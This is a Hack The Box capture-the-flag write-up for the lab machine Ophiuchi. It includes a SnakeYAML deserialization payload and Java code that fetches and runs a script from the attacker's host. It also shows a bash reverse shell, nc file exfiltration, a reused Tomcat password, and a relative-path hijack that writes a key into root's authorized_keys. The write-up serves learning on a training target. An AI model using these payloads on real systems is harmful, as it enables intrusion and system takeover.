HTB - Ophiuchi Write-up
Vulnerabilities/bad configuration exploited
- Unsafe use of SnakeYAML causing a deserialization vulnerability.
- Password re-use.
- Insecure programming - using relative paths for critical files.
Enumerating the network
I started with a basic nmap scan of the target machine:
sudo nmap -sC -sV -oA nmap/ophiuchi 10.10.10.230 -vv
-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpzM/GEYunOwIMB+FyQCnOaYRK1DYv8e0+VI3Zy7LnY157q+3SITcgm98JGS/gXgdHQ4JnkCcXjUb9LaNRxRWO+l43E9v2b2U9roG8QetbBUl5CjJ0KHXeIwNgOcsqfwju8i8GA8sqQCELpJ3zKtKtxeoBo+/o3OnKGzT/Ou8lqPK7ESeh6OWCo15Rx9iOBS40i6zk77QTc4h2jGLOgyTfOuSGTWhUxkhqBLqSaHz80G7HsPSs1BA9zAV8BOx9WmtpMsgDcNG14JAQQd904RCzgw0OaQ0J6szs78Us8Piec0rF/T4b1H3sbUedOdA0QKgGbNojObVrz5VwOw6rqxbs1gZLePXB5ZNjm0cp+Sen8TkRkdUf7Sgw92B//RhSoIakp1u5eOPs/uJ6hyCholUnerl3WK8NPB9f9ICPYq8PbvVMu6zcytV/cCjwxFloWB989iyuqG/lYcdMhGJlAacOFy5TRcTB8c5Qlmtl44J/4dyuCJAhj5SY6TRdcSxhmz0=
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM79V2Ts2us0NxZA7nnN9jor98XRj0hw7QCb+A9U8aEhoYBcrtUqegExaj/yrxjbZ/l0DWw2EkqH4uly451JuMs=
| 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO31s/C33kbuzZl9ohJWVEmLsW9aqObU6ZjlpbOQJt0C
8080/tcp open http syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only ports 22
and 8080
were open.
The http-title
detected on port 8080
seemed interesting, so I browsed to http://10.10.10.227:8080
to see what was.
It was a simple YAML parser. However, I got an error message when trying to parse any YAML.
The message left me thinking it should be vulnerable somewhere and so I tried different inputs to try and 'break' the parser. After adding a single '
, an error message was displayed on my screen (due to uneven quotes).
Based on the error message, SnakeYAML
library was used, and a little Googling had me learn that a deserialization vulnerability exists on SnakeYAML if not implemented properly.
Unsafe use of SnakeYAML causing a deserialization vulnerability.
Read more: https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/
I started a simple HTTP server so that the target machine will perform a request to me.
# Start python simple HTTP server on port 80.
sudo python3 -m http.server 80
I used the PoC and it worked.
// Copy and paste into YAML parser.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.77"]
]]
]
Next, I weaponized the exploit to get a shell.
Payload: https://github.com/artsploit/yaml-payload
Creating the payload
- Created a simple reverse shell script,
choco.sh
.#!/bin/sh bash -i >& /dev/tcp/10.10.14.77/8001 0>&1 # Save and exit.
- Modified the code in:
yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
. The reason why I placed the output to/tmp/
folder was to be safe that my file would be downloaded correctly. And just to be sure, I enabledexecute
permissions on my script once it was downloaded....omitted... public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("curl http://10.10.14.77/choco.sh -o /tmp/choco.sh"); Runtime.getRuntime().exec("chmod +x /tmp/choco.sh"); Runtime.getRuntime().exec("bash /tmp/choco.sh"); } catch (IOException e) { e.printStackTrace(); } } ...omitted...
- Compiled the code.
# Compile and build .jar file. javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf payload.jar -C src/ .
Getting initial access
With my payload.jar
and HTTP server ready, I sent my malicious request to the YAML parser and got a shell back.
// Modify URL value to get payload.jar, and paste into YAML parser.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.77/payload.jar"]
]]
]
Before I moved on, I upgraded my shell to an interactive one.
# Spawn a partial interactive shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Send process to background.
Ctrl+Z
# Pass keyboard shortcuts and etc. through.
stty raw -echo && fg
# Set TERM environment (To allow clearing terminal screen)
TERM=xterm
Privilege Escalation to admin
I connected to the target machine as tomcat
, which had little to no privileges. Thus, I had to find out who in the system had more privileges.
# Get users in system.
cat /etc/passwd | grep "/bin/bash"
root
was out of the way for now, so I focused on getting to admin
.
Since the target machine was using tomcat
, I searched for its configuration files to retrieve tomcat manager
credentials.
# Find tomcat directory
find / -name "*tomcat" 2>/dev/null
tomcat
was located in /opt/tomcat/
. Next I attempted to find the tomcat manager
credentials.
Password re-use
tomcat manager
credentials are stored in <tomcat_directory>/conf/tomcat-users.xml
. And there it was.
<!--Found credentials in tomcat-users.xml-->
...omitted...
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
...omitted...
The username was coincidentally admin
, which led me to believe that the password for admin
in the system was the same.
I attempted to ssh
onto the target machine as admin
, and successfully got in.
# SSH to admin user
ssh admin@10.10.10.227
Password: whythereisalimit
With that, I got the User Flag.
Checking sudo permissions
The first thing I did was to check sudo
permissions on admin
user.
# List all commands user admin could run as sudo.
sudo -l
# Output
...omitted...
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin
user could execute a specific golang
script, /opt/wasm-functions/index.go
as sudo
.
I checked the /opt/wasm-functions
folder to see the folder permissions.
# Check permissions in folder recursively.
ls -lahR /opt/wasm-functions
-l : Use long listing format
-a : All. (do not ignore entries starting with '.')
-h : Make it more readable
-R : Recursive
# All files and folders owned by root.
/opt/wasm-functions/:
total 3.9M
drwxr-xr-x 3 root root 4.0K Oct 14 2020 .
drwxr-xr-x 5 root root 4.0K Oct 14 2020 ..
drwxr-xr-x 2 root root 4.0K Oct 14 2020 backup
-rw-r--r-- 1 root root 88 Oct 14 2020 deploy.sh
-rwxr-xr-x 1 root root 2.5M Oct 14 2020 index
-rw-rw-r-- 1 root root 522 Oct 14 2020 index.go
-rwxrwxr-x 1 root root 1.5M Oct 14 2020 main.wasm
/opt/wasm-functions/backup:
total 1.5M
drwxr-xr-x 2 root root 4.0K Oct 14 2020 .
drwxr-xr-x 3 root root 4.0K Oct 14 2020 ..
-rw-r--r-- 1 root root 88 Oct 14 2020 deploy.sh
-rw-r--r-- 1 root root 522 Oct 14 2020 index.go
-rwxr-xr-x 1 root root 1.5M Oct 14 2020 main.wasm
Insecure programming - using relative paths for critical files.
I opened /opt/wasm-functions/index.go
.
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
I looked at the main
function and noticed that the files included were not in absolute paths. Therefore, I could make my own main.wasm
and deploy.sh
to get root
.
To add, the script would execute deploy.sh
only when the result
returned from main.wasm
is 1
. I tried running index.go
as sudo
, however it did not work. So I assumed that the result
wasn't returning 1
.
Before creating the exploit, I created a folder called megaman
in /tmp/
, as I could perform read/write operations.
# Add megaman folder to /tmp/
mkdir /tmp/megaman
Creating the exploit
Modifying main.wasm
Read more: https://github.com/WebAssembly/wabt
-
I downloaded the
WABT: WebAssembly Binary Toolkit
.# https://github.com/WebAssembly/wabt git clone https://github.com/WebAssembly/wabt.git
-
Then, I copied
main.wasm
from the target machine to my host machine.# On target machine cat main.wasm | nc 10.10.14.77 9001 # On host machine nc -lvnp 9001
-
Next, using
wasm2wat
from the tookit, i convertedmain.wasm
tomain.wat
. This allowed me to read/modify its contents../wasm2wat main.wasm -o main.wat -o : output to file
-
There was a
func $info
frommain.wat
, which was whatindex.go
was calling, to check if1
was returned frommain.wasm
. Therefore, I modified thei32.const 0
toi32.const 1
.# Modified main.wat. (module (type (;0;) (func (result i32))) (func $info (type 0) (result i32) i32.const 1) (table (;0;) 1 1 funcref) (memory (;0;) 16) (global (;0;) (mut i32) (i32.const 1048576)) (global (;1;) i32 (i32.const 1048576)) (global (;2;) i32 (i32.const 1048576)) (export "memory" (memory 0)) (export "info" (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2)))
-
I then converted the modified
main.wat
tomain.wasm
usingwat2wasm
, again from the toolkit.# This would create/overwrite main.wasm. ./wat2wasm main.wat
-
Finally, I transferred the modified
main.wasm
to the target machine, in themegaman
folder.# On target machine curl http://10.10.14.77/main.wasm -o /tmp/megaman/main.wasm
Creating deploy.sh
- I created a new
deploy.sh
file in ourmegaman
folder, then added a command to add my host machine's public key to the root'sauthorized_keys
.# Create RSA priv/pub key pair. ssh-keygen # Copy contents from ~/.ssh/id_rsa.pub
- I created a new
deploy.sh
file in ourmegaman
folder, then added a command to add my host machine's public key to the root'sauthorized_keys
.#!/bin/sh # Add host machine's public key to target machine's SSH authorized keys. echo "ssh-rsa AA...omitted...Mk= daomaster@primodao" > /root/.ssh/authorized_keys echo $(id) echo "RSA public key successfully added."
Running index.go
Now, my megaman
folder had 2 files,
- A modified
main.wasm
- A malicious
deploy.sh
After making sure that I was in the megaman
directory, I executed the sudo
command that admin
was allowed to run.
# Change directory to /tmp/megaman
cd /tmp/megaman
# Run command
sudo /usr/bin/go run /opt/wasm-functions/index.go
The command would execute and because of relative pathing in the code, it pointed to the main.wasm
and deploy.sh
I modified/created, located in my current working directory.
I logged in as root via SSH and... pwned.
Learning points
- Update to the application's latest version, if possible.
- Implement proper input sanitization
- Have good cyber hygiene, such as avoiding password re-use.
- Practice secure programming, and use good programming practices.
Afternote
Rated Medium. This machine was rather challenging for me, especially when I could not get my initial shell after testing my scripts. It only dawned upon me that I should have modified the permissions for the shell script to execute.
Getting root was the climax, as I had no experience neither in Golang nor WebAssembly. I had to read the documentations and understand the workflow before understanding how to exploit the vulnerability. The official forum definitely helped giving me nudges for me to progress. Nevertheless, I learnt so much from this machine and it was extremely fun and challenging!